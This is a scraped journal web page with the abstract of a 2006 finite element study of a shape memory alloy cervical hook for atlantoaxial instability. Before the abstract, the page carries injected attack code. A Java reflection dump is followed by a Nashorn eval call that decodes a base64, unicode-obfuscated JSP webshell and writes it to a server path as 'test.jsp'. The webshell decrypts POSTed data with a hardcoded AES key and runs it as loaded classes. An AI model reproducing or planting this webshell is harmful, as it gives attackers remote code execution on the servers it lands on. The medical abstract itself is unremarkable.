public javax.script.ScriptEngineManager() public javax.script.ScriptEngineManager(java.lang.ClassLoader) public javax.script.ScriptEngineManager() javax.script.ScriptEngineManager@44eb5bdd jdk.nashorn.api.scripting.NashornScriptEngine@6b81dee4 [Ljava.lang.reflect.Method;@1c26a009 public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.lang.String) throws javax.script.ScriptException public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.io.Reader) throws javax.script.ScriptException public javax.script.ScriptEngineFactory jdk.nashorn.api.scripting.NashornScriptEngine.getFactory() public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.lang.String,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.io.Reader,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Object,java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeMethod(java.lang.Object,java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeFunction(java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public javax.script.Bindings jdk.nashorn.api.scripting.NashornScriptEngine.createBindings() public java.lang.Object javax.script.AbstractScriptEngine.get(java.lang.String) public void javax.script.AbstractScriptEngine.put(java.lang.String,java.lang.Object) public javax.script.ScriptContext javax.script.AbstractScriptEngine.getContext() public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String,javax.script.Bindings) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader,javax.script.Bindings) throws javax.script.ScriptException public void javax.script.AbstractScriptEngine.setContext(javax.script.ScriptContext) public javax.script.Bindings javax.script.AbstractScriptEngine.getBindings(int) public void javax.script.AbstractScriptEngine.setBindings(javax.script.Bindings,int) public final void java.lang.Object.wait() throws java.lang.InterruptedException public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException public boolean java.lang.Object.equals(java.lang.Object) public java.lang.String java.lang.Object.toString() public native int java.lang.Object.hashCode() public final native java.lang.Class java.lang.Object.getClass() public final native void java.lang.Object.notify() public final native void java.lang.Object.notifyAll() $f.eval("var B=Java.type('java.util.Base64');var F=Java.type('java.io.FileOutputStream');var d=B.getDecoder().decode('PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmEuaW8uKixqYXZheC5jcnlwdG8uKixqYXZheC5jcnlwdG8uc3BlYy4qIiAlPgo8JSEKICAgIHByaXZcdTAwNjF0ZSBieXRlW10gRGVjcnlwdChieXRlW10gZFx1MDA2MXRcdTAwNjEpIHRocm93cyBFeGNlcHRpb24KICAgIHsKICAgICAgICBTdHJpbmcgaz0iMGJcdTAwNjE0NDM5ZWU5XHUwMDYxNDZkOWQiOwogICAgICAgIGpcdTAwNjF2XHUwMDYxeC5jcnlwdG8uQ2lwaGVyIGM9alx1MDA2MXZcdTAwNjF4LmNyeXB0by5DaXBoZXIuZ2V0SW5zdFx1MDA2MW5jZSgiQUVTL0VDQi9QS0NTNVBcdTAwNjFkZGluZyIpO2MuaW5pdCgyLG5ldyBqXHUwMDYxdlx1MDA2MXguY3J5cHRvLnNwZWMuU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTsKICAgICAgICBieXRlW10gZGVjb2RlYnM7CiAgICAgICAgQ2xcdTAwNjFzcyBiQ2x6IDsKICAgICAgICAgICAgICAgIHRyeXsKICAgICAgICAgICAgICAgICAgICBiQ2x6PUNsXHUwMDYxc3MuZm9yTlx1MDA2MW1lKCJqXHUwMDYxdlx1MDA2MS51dGlsLkJcdTAwNjFzZTY0Iik7CiAgICAgICAgICAgICAgICAgICAgT2JqZWN0IERlY29kZXI9YkNsei5nZXRNZXRob2QoImdldERlY29kZXIiLCBudWxsKS5pbnZva2UoYkNseiwgbnVsbCk7CiAgICAgICAgICAgICAgICAgICAgZGVjb2RlYnM9KGJ5dGVbXSkgRGVjb2Rlci5nZXRDbFx1MDA2MXNzKCkuZ2V0TWV0aG9kKCJkZWNvZGUiLCBuZXcgQ2xcdTAwNjFzc1tde2J5dGVbXS5jbFx1MDA2MXNzfSkuaW52b2tlKERlY29kZXIsIG5ldyBPYmplY3RbXXtkXHUwMDYxdFx1MDA2MX0pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgY1x1MDA2MXRjaCAoVGhyb3dcdTAwNjFibGUgZSkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBiQ2x6ID0gQ2xcdTAwNjFzcy5mb3JOXHUwMDYxbWUoInN1bi5taXNjLkJBU0U2NERlY29kZXIiKTsKICAgICAgICAgICAgICAgICAgICBPYmplY3QgRGVjb2Rlcj1iQ2x6Lm5ld0luc3RcdTAwNjFuY2UoKTsKICAgICAgICAgICAgICAgICAgICBkZWNvZGVicz0oYnl0ZVtdKSBEZWNvZGVyLmdldENsXHUwMDYxc3MoKS5nZXRNZXRob2QoImRlY29kZUJ1ZmZlciIsbmV3IENsXHUwMDYxc3NbXXtTdHJpbmcuY2xcdTAwNjFzc30pLmludm9rZShEZWNvZGVyLCBuZXcgT2JqZWN0W117bmV3IFN0cmluZyhkXHUwMDYxdFx1MDA2MSl9KTsKCiAgICAgICAgICAgICAgICB9CiAgICAgICAgcmV0dXJuIGMuZG9GaW5cdTAwNjFsKGRlY29kZWJzKTsKCiAgICB9CiU+CjwlIWNsXHUwMDYxc3MgVSBleHRlbmRzIENsXHUwMDYxc3NMb1x1MDA2MWRlcntVKENsXHUwMDYxc3NMb1x1MDA2MWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsXHUwMDYxc3MgZyhieXRlIFtdYil7cmV0dXJuCiAgICAgICAgc3VwZXIuZGVmaW5lQ2xcdTAwNjFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdVx1MDA2MWxzKCJQT1NUIikpewogICAgICAgICAgICBCeXRlQXJyXHUwMDYxeU91dHB1dFN0cmVcdTAwNjFtIGJvcyA9IG5ldyBCeXRlQXJyXHUwMDYxeU91dHB1dFN0cmVcdTAwNjFtKCk7CiAgICAgICAgICAgIGJ5dGVbXSBidWYgPSBuZXcgYnl0ZVs1MTJdOwogICAgICAgICAgICBpbnQgbGVuZ3RoPXJlcXVlc3QuZ2V0SW5wdXRTdHJlXHUwMDYxbSgpLnJlXHUwMDYxZChidWYpOwogICAgICAgICAgICB3aGlsZSAobGVuZ3RoPjApCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGJ5dGVbXSBkXHUwMDYxdFx1MDA2MT0gQXJyXHUwMDYxeXMuY29weU9mUlx1MDA2MW5nZShidWYsMCxsZW5ndGgpOwogICAgICAgICAgICAgICAgYm9zLndyaXRlKGRcdTAwNjF0XHUwMDYxKTsKICAgICAgICAgICAgICAgIGxlbmd0aD1yZXF1ZXN0LmdldElucHV0U3RyZVx1MDA2MW0oKS5yZVx1MDA2MWQoYnVmKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBvdXQuY2xlXHUwMDYxcigpOwogICAgICAgICAgICBvdXQ9cFx1MDA2MWdlQ29udGV4dC5wdXNoQm9keSgpOwogICAgICAgIG5ldyBVKHRoaXMuZ2V0Q2xcdTAwNjFzcygpLmdldENsXHUwMDYxc3NMb1x1MDA2MWRlcigpKS5nKERlY3J5cHQoYm9zLnRvQnl0ZUFyclx1MDA2MXkoKSkpLm5ld0luc3RcdTAwNjFuY2UoKS5lcXVcdTAwNjFscyhwXHUwMDYxZ2VDb250ZXh0KTt9CiU+');var o=new F('D:/magtech/webs/Jwk34_nfykdxxb/attached/test.jsp');o.write(d);o.close();");

Journal of Southern Medical University ›› 2006, Vol. 26 ›› Issue (08): 1197-1199.

Previous Articles     Next Articles

Finite element analysis of a new shape memory alloy cervical hook for atlantoaxial instability

SHU Xiao-qiu1, WAN Lei1, YU Chun-tang2, YIN Tong1, JIN An-min1 1Department of Orthopedics, 2Department of Radiology, Zhujiang Hospital, Southern Medical University, Guangzhou 510282, China   

  1. 南方医科大学珠江医院骨科； 南方医科大学珠江医院放射诊断科； 南方医科大学珠江医院骨科 广东广州； 510282； 广东广州；
  • Online:2006-08-20 Published:2006-08-20

PDF

1030

Abstract: The mechanics of a new shape memory alloy cervical hook for atlantoaxial instability was analyzed with finite element method on the basis of a three-dimensional model reconstructed from the images of CT scanning of an adult cadaveric upper cervical at 1-mm interval. The stress and displacement of every nodule and element in the course of deformation of the internal fixation were tested, and the results showed that the cervical hook was strong enough against tensile stress, which concentrates in the middle of the device. The pull was 237.58 N at the loading point. With such mechanical performance, this cervical hook can be reliable for correction of atlantoaxial instability.

CLC Number: